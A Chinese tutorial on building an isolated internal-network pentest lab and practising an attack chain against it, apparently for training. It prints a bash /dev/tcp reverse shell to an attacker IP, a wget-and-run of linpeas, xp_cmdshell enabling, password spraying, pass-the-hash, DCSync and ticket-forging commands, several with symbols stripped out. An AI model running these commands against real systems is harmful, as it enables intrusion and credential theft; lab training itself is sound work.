从零搭建内网渗透测试靶场:实战环境设计与攻防演练
1. 项目概述为什么我们需要一个专属的内网靶场如果你正在学习渗透测试或者已经是一名安全从业者那么“内网环境搭建”这个话题你一定不陌生。它听起来像是一个基础设施的活儿远没有直接拿工具去扫描、去攻击来得刺激。但我想说的是这恰恰是区分“脚本小子”和真正渗透测试工程师的关键一步。我见过太多新手在公开靶场上练得风生水起可一旦面对真实、复杂、隔离的内网环境立刻就懵了。原因很简单公开靶场是“点”而真实内网是“面”和“体”。你需要的不是单点爆破的能力而是对整个网络拓扑、权限流转、横向移动路径的全局理解和实操能力。自己动手搭建一个内网渗透测试环境就是为了模拟这个“面”和“体”。它不是一个简单的虚拟机而是一个由多台主机靶机组成的、具有特定网络结构、服务配置和漏洞点的迷你网络。在这个环境里你可以安全地、反复地练习从外网突破到内网再到内网横向移动、权限提升、信息收集乃至域渗透的全过程而不用担心法律风险或对真实系统造成破坏。最近热门的DC-1、Corrosion等靶机其实都是这个理念下的优秀单点实践而我们要做的是把多个这样的“点”有机地组合成一个更贴近实战的“内网”。2. 环境整体设计与核心思路拆解2.1 目标场景与拓扑设计搭建内网环境第一步不是急着开虚拟机而是想清楚你要模拟什么。是模拟一个中小企业的办公网络还是一个存在老旧系统的生产网不同的目标拓扑和机器配置天差地别。一个经典且涵盖大部分核心攻防场景的拓扑可以这样设计外网隔离区DMZ放置一台对外提供Web服务的服务器比如Ubuntu Apache/Nginx 一个有漏洞的Web应用。这台机器通常只开放80/443端口是攻击者最初的入口点。内网核心区这是我们的主战场通常使用一个独立的私有网段如192.168.52.0/24。域控制器Domain Controller, DC这是Windows内网的灵魂。我们搭建一台Windows Server机器并配置为域控制器创建域例如pentest.lab和若干域用户/组。这是练习Kerberos、NTLM、黄金票据等域攻击技术的必备环境。成员服务器加入域的Windows Server或Windows 10/11专业版/企业版机器。上面运行着内部应用如SharePoint、内部OA系统、数据库MSSQL或文件共享服务。它是从普通域用户权限向高权限提升的关键跳板。工作站若干台加入域的Windows 10/11机器模拟普通员工的办公电脑。通常存在弱密码、未打补丁、用户习惯差如点击钓鱼邮件等问题是横向移动的起点。Linux服务器一台未加入域但存在于内网的Linux服务器如CentOS/Ubuntu运行着MySQL、Redis等服务。用于练习针对Linux系统的渗透及在混合环境中的跳转。为什么这么设计这个拓扑几乎囊括了真实内网中所有常见元素边界突破、权限提升、横向移动、域渗透、跨平台攻击。通过设置不同的网络分段虽然我们物理上可能都在一个Host-Only网络里但逻辑上可以划分VLAN你还能练习路由转发和网络隔离绕过。2.2 虚拟化平台与网络模式选择工欲善其事必先利其器。虚拟化平台是地基。VMware Workstation Pro功能强大网络配置灵活可以自定义虚拟网络交换机快照管理极其方便。对于复杂的内网环境搭建它是首选。个人学习可以寻找授权方式。VirtualBox免费、开源、轻量。对于基础的内网环境搭建完全够用其“内部网络”和“Host-Only”模式能很好地模拟隔离环境。缺点是高级网络功能和一些性能优化不如VMware。网络模式是核心中的核心理解错了整个环境就白搭桥接模式虚拟机像一台真实机器一样接入你的物理网络会从你的路由器获取IP。不推荐用于内网靶场因为你的靶机漏洞可能暴露在真实网络中带来风险。NAT模式虚拟机通过宿主机的IP地址对外访问互联网外部无法直接访问虚拟机。适合给需要更新软件、下载工具的靶机使用。Host-Only模式虚拟机与宿主机之间形成一个封闭的私有网络虚拟机之间可以互通也可以与宿主机互通但无法访问外网。这是搭建内网环境的基石。所有内网靶机域控、成员服务器、工作站等都应该放在同一个Host-Only网络中。自定义网络VMware或内部网络VirtualBox可以创建多个完全隔离的虚拟网络用于模拟DMZ、办公网、生产网等多个网段它们之间默认不通需要通过配置路由或部署双网卡虚拟机跳板机才能连通这更贴近实战。注意建议为你的内网环境创建一个全新的、独立的Host-Only虚拟网络在VMware的“虚拟网络编辑器”或VirtualBox的“全局设置”中创建避免和你宿主机上其他虚拟机的网络混淆。2.3 靶机与漏洞规划机器不是随便装的每台机器都应该有它的“使命”和“漏洞”。入口点DMZ服务器可以部署DVWA、bWAPP、WebGoat等带漏洞的Web应用。漏洞类型选择SQL注入、文件上传、命令执行等目的是获取一个反向Shell突破边界进入内网。域控制器安装Windows Server 2012 R2或2016资源消耗相对友好。除了安装Active Directory域服务可以故意配置一些漏洞如启用LLMNR/NBT-NS协议用于投毒攻击。使用弱密码的域管账户。安装有漏洞的软件版本如老版Exchange。配置不当的组策略GPP可能泄露密码。成员服务器/工作站Windows系统漏洞故意不打某些补丁例如MS17-010永恒之蓝、MS08-067。或者安装存在漏洞的软件如老版Flash、Office用于钓鱼文档。服务漏洞安装配置有弱口令或已知漏洞的MSSQL、Redis、WinRM等服务。凭据问题设置弱密码或将明文密码、连接字符串写在配置文件、注册表中。Linux服务器配置SSH弱口令Redis未授权访问Docker API未授权或者SUID提权漏洞等。实操心得不要追求一次把所有漏洞都堆上。建议分阶段搭建先搭建一个最简单的、只有入口点和一台内网主机的环境练熟基础流程。然后逐步加入域环境、更多的机器、更复杂的漏洞。这样迭代建设学习曲线更平滑排查问题时也更容易定位。3. 分步搭建实操详解下面我将以使用VMware Workstation Pro和一个自定义的Host-Only网络为例演示如何搭建一个包含DMZ、域和内网主机的经典环境。3.1 第一步创建与配置虚拟网络打开VMware Workstation点击“编辑” - “虚拟网络编辑器”。点击“更改设置”获取管理员权限。点击“添加网络”选择一个未使用的VMnet例如VMnet2类型选择“仅主机模式”。取消勾选“使用本地DHCP服务”我们后期手动配置IP更可控。设置子网IP例如192.168.52.0子网掩码255.255.255.0。这个网段将作为我们的内网网段。同样方法可以再创建一个VMnet3例如10.10.10.0/24作为DMZ网段。但为了简化我们第一个环境可以让DMZ服务器也使用双网卡一张NAT用于模拟公网IP和上网一张连接到内网Host-Only网络。3.2 第二步搭建入口点DMZ Web服务器创建虚拟机新建虚拟机选择Linux如Ubuntu Server 20.04 LTS内存1-2GB硬盘20GB即可。配置网络在虚拟机设置中添加两个网络适配器。适配器1连接到NAT模式用于系统更新和模拟公网访问。适配器2连接到我们刚创建的VMnet2 (仅主机模式)。安装系统与基础服务安装Ubuntu Server在配置网络时为两个网卡设置静态IP。ens33(NAT网卡):192.168.1.100(假设你的NAT网段是192.168.1.0/24由VMware自动分配或手动设置一个同网段IP确保能上网)。ens34(Host-Only网卡):192.168.52.10。部署漏洞应用系统安装好后更新软件包然后安装Apache、PHP、MySQL。sudo apt update sudo apt upgrade -y sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql -y下载并部署DVWA。cd /var/www/html sudo git clone https://github.com/digininja/DVWA.git sudo chown -R www-data:www-data DVWA/ sudo cp DVWA/config/config.inc.php.dist DVWA/config/config.inc.php配置MySQL数据库修改DVWA配置文件中的数据库密码并确保config.inc.php中$_DVWA[ allow_url_include ] on;开启文件包含漏洞。关键配置为了让内网机器能访问这台Web服务器需要确保Apache监听所有接口。编辑/etc/apache2/ports.conf确保有Listen 80。同时配置Ubuntu的防火墙如果开启的话允许80端口。sudo ufw allow 80/tcp重启Apache服务sudo systemctl restart apache2。现在你的入口点服务器就准备好了。它可以通过宿主机的浏览器访问http://192.168.52.10来访问DVWA同时它自己又能通过NAT网卡上网。3.3 第三步搭建域控制器DC创建虚拟机新建虚拟机选择Windows Server 2016/2019 Evaluation版内存建议4GB以上硬盘50GB。配置网络只添加一个网络适配器连接到VMnet2 (仅主机模式)。设置静态IP192.168.52.100子网掩码255.255.255.0DNS服务器指向自己127.0.0.1因为之后它会成为DNS服务器。安装系统与重命名安装系统后将计算机名改为DC01并重启。安装AD域服务打开“服务器管理器”点击“添加角色和功能”。一路下一步在“服务器角色”页面勾选“Active Directory域服务”。弹出的窗口点击“添加功能”。继续下一步直到安装安装完成后点击“将此服务器提升为域控制器”。部署新林选择“添加新林”根域名输入pentest.lab这是一个用于测试的无效域名不会与真实域名冲突。设置目录服务还原模式DSRM密码这是一个重要的恢复密码请牢记。其他选项默认等待安装完成并自动重启。重启后你将以域管理员身份登录如PENTEST\Administrator。创建域用户和组打开“Active Directory 用户和计算机”在pentest.lab域下创建组织单元OU如Employees在里面创建几个普通域用户如zhangsan密码可以设为弱密码如Password123!。再创建一个Servers的OU。3.4 第四步搭建内网成员服务器与工作站成员服务器新建Windows Server或Windows 10/11虚拟机网络适配器连接到VMnet2。设置静态IP192.168.52.150DNS指向域控制器192.168.52.100。将计算机名改为SRV01然后将其加入域pentest.lab。需要输入域管理员账号密码。重启后用域用户如pentest\zhangsan登录。在这台服务器上可以安装MSSQL并配置一个弱口令的SA账户。工作站新建Windows 10虚拟机网络适配器连接到VMnet2。设置自动获取IP需要在域控制器上配置DHCP服务或手动设置IP如192.168.52.200DNS指向192.168.52.100。将计算机名改为WIN10-01加入域pentest.lab。用普通域用户登录。可以故意安装老版本的软件如Java 8u121或者将一些敏感文件放在桌面上。3.5 第五步配置基础服务与漏洞在域控制器上启用ICMP回显方便内网机器互相ping通测试连通性。在DC的防火墙高级设置中入站规则里启用“文件和打印机共享(回显请求 - ICMPv4-In)”。在成员服务器上开启WinRM便于后期使用PowerShell进行横向移动。# 在SRV01上以管理员身份运行PowerShell Enable-PSRemoting -Force Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force在Linux服务器上配置SSH弱口令为root用户设置一个简单密码如toor并确保允许密码登录/etc/ssh/sshd_config中PasswordAuthentication yes。至此一个包含DMZ入口、域环境和多台内网主机的靶场就初步搭建完成了。拓扑逻辑如下攻击者你的Kali虚拟机也连接到VMnet2IP设为192.168.52.5首先攻击DMZ服务器192.168.52.10获取Shell后以此为跳板对内网192.168.52.0/24进行探测和横向移动。4. 渗透测试核心流程实战演练环境搭好了怎么用下面以一个连贯的攻击链为例演示如何利用这个环境进行练习。4.1 阶段一外网突破与立足信息收集在Kali (192.168.52.5)上使用Nmap扫描DMZ服务器。nmap -sS -sV -O -p- 192.168.52.10发现开放80端口运行Apache。Web漏洞利用访问http://192.168.52.10/DVWA登录默认admin/password。将安全级别调到low。练习SQL注入在SQL Injection页面输入1 or 11进行注入获取数据库信息。练习命令执行在Command Execution页面输入127.0.0.1 whoami看到返回www-data。获取反向Shell利用命令执行漏洞在Kali上监听端口并在Web端执行反向连接命令。Kali监听nc -lvnp 4444在Web命令执行处输入127.0.0.1 bash -c bash -i /dev/tcp/192.168.52.5/4444 01成功在Kali上获得一个www-data权限的Shell。内网信息收集在获得的Shell中查看当前网络配置。ifconfig # 发现 ens34 网卡 IP为 192.168.52.10确认在内网中。 # 查看路由表 route -n # 查看ARP缓存 arp -a # 上传信息收集脚本如LinPEAS或nmap对内网进行初步探测需要先将工具上传到靶机。 # 例如使用Kali的Python起一个临时HTTP服务python3 -m http.server 8080 # 在靶机Shell中wget http://192.168.52.5:8080/linpeas.sh; chmod x linpeas.sh; ./linpeas.sh4.2 阶段二内网横向移动假设通过信息收集我们发现了内网主机192.168.52.150SRV01和192.168.52.100DC01。端口扫描与服务识别从DMZ跳板机对内网进行扫描。由于跳板机可能没有nmap我们可以使用简单的bash循环或上传静态编译的nmap。# 简单端口探测 for i in {1..255}; do timeout 1 bash -c echo /dev/tcp/192.168.52.$i/445 2/dev/null echo 192.168.52.$i:445 is open; done发现192.168.52.150开放445(SMB)和1433(MSSQL)192.168.52.100开放53(DNS)、88(Kerberos)、389(LDAP)等域控端口。攻击MSSQL服务发现192.168.52.150:1433开放。尝试用弱口令连接。在Kali上使用impacket工具包的mssqlclient.py。python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py -windows-auth pentest.lab/zhangsan:Password123!192.168.52.150如果连接成功可以尝试执行命令。MSSQL通常以NT Service\MSSQLSERVER或类似的高权限账户运行可能具有xp_cmdshell执行权限。EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; EXEC xp_cmdshell whoami;如果成功就获得了在SRV01上的系统权限Shell。可以进一步转储密码哈希、添加用户等。利用SMB与WinRM如果MSSQL攻击不成功可以尝试攻击445端口的SMB服务。检测永恒之蓝使用nmap脚本或msfconsole的auxiliary/scanner/smb/smb_ms17_010模块扫描。密码喷洒攻击如果我们从DMZ服务器上找到了一个可能的用户名密码比如配置文件泄露可以尝试用这个密码去碰撞内网其他机器的相同用户。使用crackmapexeccrackmapexec smb 192.168.52.0/24 -u zhangsan -p Password123! --continue-on-success如果成功会显示Pwn3d!。接着就可以使用crackmapexec或psexec.pyimpacket获取一个交互式Shell。python3 /usr/share/doc/python3-impacket/examples/psexec.py pentest.lab/zhangsan:Password123!192.168.52.150或者如果目标开启了WinRM5985端口可以使用evil-winrm工具直接连接。evil-winrm -i 192.168.52.150 -u zhangsan -p Password123!4.3 阶段三域渗透与权限提升在获取了某台域成员机如SRV01的一定权限后目标转向域控制器。域内信息收集在获得的Shell中运行whoami /all查看当前用户权限、所属组。运行net user /domain查看域用户列表。运行net group “Domain Admins” /domain查看域管理员组。使用BloodHound的采集器SharpHound.exe需上传到靶机收集整个域的拓扑、权限关系数据然后导入Kali的BloodHound进行分析找出最短的攻击路径。凭据窃取与哈希传递在Windows系统上使用mimikatz或Rubeus转储内存中的密码哈希和票据。如果获取到了本地管理员或域用户的NTLM哈希可以进行哈希传递攻击攻击其他机器。# 使用impacket的psexec进行哈希传递 python3 psexec.py -hashes :[NTLM哈希] pentest.lab/zhangsan192.168.52.100如果获取到了域管理员的哈希就可以直接攻击域控制器。Kerberos攻击黄金票据如果获取到了域控制器的krbtgt用户的哈希可以伪造任意用户的TGT票据从而获得域内任何服务的访问权限。白银票据如果获取到了某个服务如CIFS的哈希可以伪造针对该服务的ST票据。这些攻击可以通过mimikatz或impacket的ticketer.py等工具完成。利用域组策略搜索域组策略首选项文件中可能保存的密码。使用findstr命令或在Kali上使用gpp-decrypt破解找到的加密密码。DCSync攻击如果当前账户拥有Replicating Directory Changes权限通常域管理员有可以直接向域控制器发起同步请求获取所有域用户的哈希值。这是最致命的攻击之一。# 在mimikatz中 lsadump::dcsync /domain:pentest.lab /user:Administrator5. 常见问题、排查技巧与优化建议搭建和演练过程中你肯定会遇到各种问题。这里记录一些我踩过的坑和解决方案。5.1 网络连通性问题问题虚拟机之间无法ping通。排查检查所有虚拟机的网络适配器是否都连接到同一个虚拟网络如VMnet2。检查每台虚拟机的防火墙是否关闭初期练习建议关闭避免干扰。Windows可暂时关闭域、专用、公用网络的防火墙Linux使用sudo ufw disable。检查IP地址是否在同一网段子网掩码是否正确。在VMware的虚拟网络编辑器中确认Host-Only网络的子网地址配置正确且没有启用DHCP导致IP冲突。问题Kali虚拟机无法访问DMZ的Web服务。排查确保Kali也连接到VMnet2且IP地址配置正确如192.168.52.5。在Kali上ping 192.168.52.10测试。5.2 域环境相关问题问题客户机无法加入域提示“找不到网络路径”或“域控制器不可用”。排查确保客户机的DNS服务器地址指向域控制器的IP192.168.52.100。这是最常见的原因。确保域控制器的TCP 135, 139, 445, 389, 636, 3268, 3269, 53, 88, 464等端口对客户机是开放的防火墙。使用nslookup pentest.lab在客户机上测试看是否能解析到域控制器的IP。在域控制器上检查Netlogon和DNS Client服务是否正常运行。问题使用域账户登录成员服务器失败。排查确认输入的域名格式正确如PENTEST\zhangsan或zhangsanpentest.lab。在域控制器上确认该用户账户已启用且密码正确。5.3 渗透工具使用问题问题impacket工具连接SMB或MSSQL时失败报协议错误或超时。排查目标服务器可能禁用了SMBv1。尝试在工具中指定使用SMBv2或v3如果工具支持。目标防火墙可能拦截了相关端口。确认端口扫描结果。凭据错误。尝试使用crackmapexec先验证凭据有效性。如果是在跳板机Linux上使用Windows工具可能需要通过proxychains进行代理注意工具本身对代理的支持情况。问题从低权限用户提权失败。排查信息收集不充分。使用WinPEAS或LinPEAS脚本进行全面的本地漏洞扫描查找易受攻击的服务、错误配置的文件权限、计划任务、SUID/GUID文件等。内核漏洞利用失败。检查目标系统补丁版本选择对应的漏洞利用代码。在虚拟机环境中操作前务必创建快照因为内核漏洞利用可能导致系统蓝屏崩溃。5.4 环境维护与优化建议快照管理这是最重要的习惯在以下关键节点创建快照系统刚安装好未做任何配置时纯净状态。域控制器提升完成后。每台机器加入域并完成基础配置后。在部署某个特定漏洞之前。 这样你可以在练习完一种攻击后快速回滚到干净状态进行下一种攻击练习无需重装系统。IP地址规划使用表格记录每台虚拟机的IP、主机名、角色、重要凭证。避免后期混淆。复杂度渐进不要一开始就搭建一个包含10台机器、20种漏洞的复杂环境。从“1台DMZ - 1台内网工作站”的最小环境开始打通攻击链。然后加入域再增加服务器最后引入Linux和更复杂的网络分段。每增加一个元素就测试一遍完整的攻击路径是否仍然通畅。引入安全设备当基础攻击练熟后可以尝试在环境中引入简单的“蓝队”元素。例如在一台机器上安装Security Onion一个开源IDS/IPS/SIEM发行版作为监控节点或者配置Windows Defender的实时保护练习免杀和绕过技巧。这能让你的红队技术更贴近实战。搭建内网渗透测试环境本身就是一个极佳的学习过程它能让你深刻理解网络协议、系统服务、安全策略和攻击技术是如何交织在一起的。这个环境是你专属的“网络攻防实验室”在这里你可以大胆尝试、反复试错、深入分析所有在真实网络中不敢或不能做的操作在这里都可以得到验证。记住搭建只是开始持续的探索、攻击、防御、复盘才是能力提升的关键。